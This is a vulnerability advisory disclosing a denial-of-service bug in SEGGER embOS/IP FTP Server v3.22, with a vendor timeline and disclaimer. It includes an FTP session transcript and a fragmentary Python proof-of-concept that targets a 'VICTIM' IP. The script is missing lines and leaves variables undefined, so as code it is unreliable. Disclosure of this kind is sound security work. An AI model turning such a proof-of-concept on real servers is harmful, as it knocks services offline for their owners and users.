[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SEGGER-embOS-FTP-SERVER-v3.22-FTP-COMMANDS-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security
embOS/IP FTP Server v3.22
FTP Commands Denial Of Service
SEGGER embOS/IP FTP Server 3.22 allows remote attackers to cause a denial of service (daemon crash)
via an invalid LIST, STOR, or RETR command.
TELNET x.x.x.x 21
220 Welcome to embOS/IP FTP server
331 Password required.
230 User logged in, proceed.
VICTIM=raw_input('[+]Segger v3.22 FTP Server IP > ')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print s.recv(1024) # Recieve FTP Banner
s.send("USER " + USR+ "\r\n")
s.send("PASS "+ PWD+"\r\n") #
print 'Sent %s' % CMD
Vendor Notification: February 17, 2018
Vendor acknowledgement: February 19, 2018
Vendor released fixed version v3.22a : February 23, 2018
March 1, 2018 : Public Disclosure
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).